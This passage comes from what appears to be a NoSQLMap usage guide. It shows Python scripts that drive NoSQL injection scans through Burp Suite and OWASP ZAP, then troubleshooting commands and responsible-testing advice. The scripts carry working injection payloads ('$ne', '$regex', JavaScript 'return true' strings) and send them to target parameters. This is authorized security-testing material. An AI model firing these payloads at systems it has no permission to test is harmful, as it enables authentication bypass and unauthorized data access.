            
            if body_start:
                body += line + '\n'
            else:
                if ':' in line:
                    key, value = line.split(':', 1)
                    headers[key.strip()] = value.strip()
        
        # Extract host from headers
        host = headers.get('Host', '')
        
        # Construct full URL
        scheme = "https" if "443" in host else "http"
        url = f"{scheme}://{host}{path}"
        
        return {
            "method": method,
            "url": url,
            "headers": headers,
            "body": body.strip()
        }
    
    def test_nosql_injection(self, request_data):
        """Test for NoSQL injection in Burp request"""
        
        results = []
        
        # Test URL parameters
        parsed_url = urlparse(request_data["url"])
        if parsed_url.query:
            params = parse_qs(parsed_url.query)
            
            for param_name, param_values in params.items():
                for param_value in param_values:
                    result = self.test_parameter(
                        request_data, 
                        param_name, 
                        param_value, 
                        "url"
                    )
                    if result:
                        results.append(result)
        
        # Test POST body parameters
        if request_data["method"] == "POST" and request_data["body"]:
            content_type = request_data["headers"].get("Content-Type", "")
            
            if "application/json" in content_type:
                results.extend(self.test_json_body(request_data))
            elif "application/x-www-form-urlencoded" in content_type:
                results.extend(self.test_form_body(request_data))
        
        return results
    
    def test_parameter(self, request_data, param_name, param_value, param_type):
        """Test individual parameter for NoSQL injection"""
        
        # NoSQL injection payloads
        payloads = [
            {"$ne": ""},
            {"$gt": ""},
            {"$regex": ".*"},
            {"$exists": True},
            "'; return true; //",
            "\"; return true; //",
            "true, true"
        ]
        
        for payload in payloads:
            # Modify request with payload
            modified_request = self.inject_payload(
                request_data, 
                param_name, 
                payload, 
                param_type
            )
            
            # Send request through Burp
            try:
                response = self.send_request(modified_request)
                
                # Analyze response for injection indicators
                if self.analyze_response(response, request_data):
                    return {
                        "parameter": param_name,
                        "parameter_type": param_type,
                        "payload": payload,
                        "vulnerable": True,
                        "response_length": len(response.text),
                        "status_code": response.status_code
                    }
            
            except Exception as e:
                print(f"Error testing parameter {param_name}: {e}")
        
        return None
    
    def inject_payload(self, request_data, param_name, payload, param_type):
        """Inject payload into request parameter"""
        
        modified_request = request_data.copy()
        
        if param_type == "url":
            # Modify URL parameter
            parsed_url = urlparse(request_data["url"])
            params = parse_qs(parsed_url.query)
            
            if isinstance(payload, dict):
                params[param_name] = [json.dumps(payload)]
            else:
                params[param_name] = [str(payload)]
            
            # Reconstruct URL
            new_query = "&".join([f"{k}={v[0]}" for k, v in params.items()])
            modified_request["url"] = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{new_query}"
        
        elif param_type == "json":
            # Modify JSON body
            try:
                body_data = json.loads(request_data["body"])
                body_data[param_name] = payload
                modified_request["body"] = json.dumps(body_data)
            except:
                pass
        
        return modified_request
    
    def send_request(self, request_data):
        """Send request through Burp proxy"""
        
        if request_data["method"] == "GET":
            response = self.session.get(
                request_data["url"],
                headers=request_data["headers"]
            )
        elif request_data["method"] == "POST":
            response = self.session.post(
                request_data["url"],
                headers=request_data["headers"],
                data=request_data["body"]
            )
        else:
            response = self.session.request(
                request_data["method"],
                request_data["url"],
                headers=request_data["headers"],
                data=request_data["body"]
            )
        
        return response
    
    def analyze_response(self, response, original_request):
        """Analyze response for injection indicators"""
        
        # Check for error messages indicating injection
        error_indicators = [
            "MongoError",
            "CouchDB",
            "Redis",
            "NoSQL",
            "JSON.parse",
            "SyntaxError",
            "unexpected token"
        ]
        
        response_text = response.text.lower()
        
        for indicator in error_indicators:
            if indicator.lower() in response_text:
                return True
        
        # Check for significant response length differences
        # This would require baseline response for comparison
        
        return False

# Usage
if __name__ == "__main__":
    integration = BurpNoSQLIntegration()
    
    # Import request from Burp
    request_data = integration.import_burp_request("burp_request.txt")
    
    # Test for NoSQL injection
    results = integration.test_nosql_injection(request_data)
    
    # Print results
    for result in results:
        if result["vulnerable"]:
            print(f"Vulnerable parameter found: {result['parameter']}")
            print(f"Payload: {result['payload']}")

OWASP ZAP Integration ​

python
#!/usr/bin/env python3
# NoSQLMap integration with OWASP ZAP

from zapv2 import ZAPv2
import time
import json

class ZAPNoSQLIntegration:
    def __init__(self, zap_proxy="http://127.0.0.1:8080"):
        self.zap = ZAPv2(proxies={'http': zap_proxy, 'https': zap_proxy})
        self.nosql_payloads = self.load_nosql_payloads()
    
    def load_nosql_payloads(self):
        """Load NoSQL injection payloads"""
        return [
            '{"$ne":""}',
            '{"$gt":""}',
            '{"$regex":".*"}',
            '{"$exists":true}',
            "'; return true; //",
            '"; return true; //',
            "true, true",
            "false, true"
        ]
    
    def spider_target(self, target_url):
        """Spider target to discover endpoints"""
        print(f"Spidering target: {target_url}")
        
        # Start spider
        spider_id = self.zap.spider.scan(target_url)
        
        # Wait for spider to complete
        while int(self.zap.spider.status(spider_id)) < 100:
            print(f"Spider progress: {self.zap.spider.status(spider_id)}%")
            time.sleep(5)
        
        print("Spider completed")
        
        # Get discovered URLs
        urls = self.zap.core.urls()
        return urls
    
    def test_nosql_injection(self, target_url):
        """Test target for NoSQL injection vulnerabilities"""
        
        # Spider target first
        urls = self.spider_target(target_url)
        
        vulnerabilities = []
        
        for url in urls:
            print(f"Testing URL: {url}")
            
            # Get URL parameters
            params = self.get_url_parameters(url)
            
            for param in params:
                for payload in self.nosql_payloads:
                    # Test parameter with payload
                    result = self.test_parameter_injection(url, param, payload)
                    
                    if result:
                        vulnerabilities.append(result)
        
        return vulnerabilities
    
    def get_url_parameters(self, url):
        """Extract parameters from URL"""
        from urllib.parse import urlparse, parse_qs
        
        parsed = urlparse(url)
        params = parse_qs(parsed.query)
        
        return list(params.keys())
    
    def test_parameter_injection(self, url, parameter, payload):
        """Test specific parameter for injection"""
        
        # Modify URL with payload
        modified_url = self.inject_payload_in_url(url, parameter, payload)
        
        # Send request through ZAP
        try:
            response = self.zap.core.send_request(modified_url)
            
            # Analyze response
            if self.analyze_nosql_response(response):
                return {
                    "url": url,
                    "parameter": parameter,
                    "payload": payload,
                    "vulnerable": True,
                    "response": response
                }
        
        except Exception as e:
            print(f"Error testing {url} with payload {payload}: {e}")
        
        return None
    
    def inject_payload_in_url(self, url, parameter, payload):
        """Inject payload into URL parameter"""
        from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
        
        parsed = urlparse(url)
        params = parse_qs(parsed.query)
        
        # Inject payload
        params[parameter] = [payload]
        
        # Reconstruct URL
        new_query = urlencode(params, doseq=True)
        new_parsed = parsed._replace(query=new_query)
        
        return urlunparse(new_parsed)
    
    def analyze_nosql_response(self, response):
        """Analyze response for NoSQL injection indicators"""
        
        # Check for error messages
        error_indicators = [
            "MongoError",
            "CouchDB",
            "Redis",
            "NoSQL",
            "JSON.parse",
            "SyntaxError"
        ]
        
        response_text = response.lower()
        
        for indicator in error_indicators:
            if indicator.lower() in response_text:
                return True
        
        return False
    
    def generate_zap_report(self, vulnerabilities, output_file="zap_nosql_report.html"):
        """Generate ZAP-style report for NoSQL vulnerabilities"""
        
        # Add custom alerts to ZAP
        for vuln in vulnerabilities:
            self.zap.core.add_alert(
                risk="High",
                confidence="Medium",
                name="NoSQL Injection",
                description=f"NoSQL injection vulnerability found in parameter {vuln['parameter']}",
                url=vuln["url"],
                param=vuln["parameter"],
                evidence=vuln["payload"]
            )
        
        # Generate HTML report
        report = self.zap.core.htmlreport()
        
        with open(output_file, 'w') as f:
            f.write(report)
        
        print(f"Report generated: {output_file}")

# Usage
if __name__ == "__main__":
    zap_integration = ZAPNoSQLIntegration()
    
    target_url = "http://example.com"
    
    # Test for NoSQL injection
    vulnerabilities = zap_integration.test_nosql_injection(target_url)
    
    # Generate report
    zap_integration.generate_zap_report(vulnerabilities)
    
    print(f"Found {len(vulnerabilities)} NoSQL injection vulnerabilities")

Troubleshooting ​

Common Issues ​

Installation Problems:

bash
# Python dependency issues
pip install --upgrade pip
pip install --upgrade setuptools wheel

# Permission issues
pip install --user nosqlmap

# Virtual environment issues
python3 -m venv nosqlmap-env
source nosqlmap-env/bin/activate
pip install nosqlmap

# Missing system dependencies
sudo apt install python3-dev libffi-dev libssl-dev

Connection Issues:

bash
# Proxy configuration
nosqlmap --target http://example.com --proxy http://127.0.0.1:8080

# SSL/TLS issues
nosqlmap --target https://example.com --disable-ssl-verification

# Timeout issues
nosqlmap --target http://example.com --timeout 30

# User agent issues
nosqlmap --target http://example.com --user-agent "Custom Agent"

Database-Specific Issues:

bash
# MongoDB connection issues
# Check MongoDB version compatibility
# Verify authentication requirements
# Check network connectivity

# CouchDB access issues
# Verify CouchDB version
# Check authentication settings
# Validate view permissions

# Redis connection problems
# Check Redis configuration
# Verify authentication
# Test network connectivity

Debugging ​

Enable detailed debugging and logging:

bash
# Verbose output
nosqlmap --target http://example.com --verbose

# Debug mode
nosqlmap --target http://example.com --debug

# Save all requests/responses
nosqlmap --target http://example.com --save-requests

# Custom logging
nosqlmap --target http://example.com --log-file nosql_debug.log

# Network debugging
nosqlmap --target http://example.com --proxy http://127.0.0.1:8080 --verbose

Security Considerations ​

Responsible Testing ​

Authorization:

  • Only test systems you own or have explicit permission to test
  • Obtain proper written authorization before testing
  • Respect scope limitations and testing windows
  • Document all testing activities

Impact Minimization:

  • Use read-only operations when possible
  • Avoid destructive payloads in production environments
  • Implement rate limiting to avoid DoS
  • Monitor system impact during testing

Legal Requirements:

  • Comply with applicable laws and regulations
  • Respect terms of service and usage policies
  • Maintain confidentiality of discovered vulnerabilities
  • Follow responsible disclosure practices

Best Practices:

  • Use dedicated testing environments when possible
  • Implement proper access controls for testing tools
  • Secure storage of testing results and evidence
  • Regular security training and awareness

References ​

  1. NoSQLMap GitHub Repository
  2. OWASP NoSQL Injection
  3. MongoDB Security Checklist
  4. CouchDB Security Features
  5. Redis Security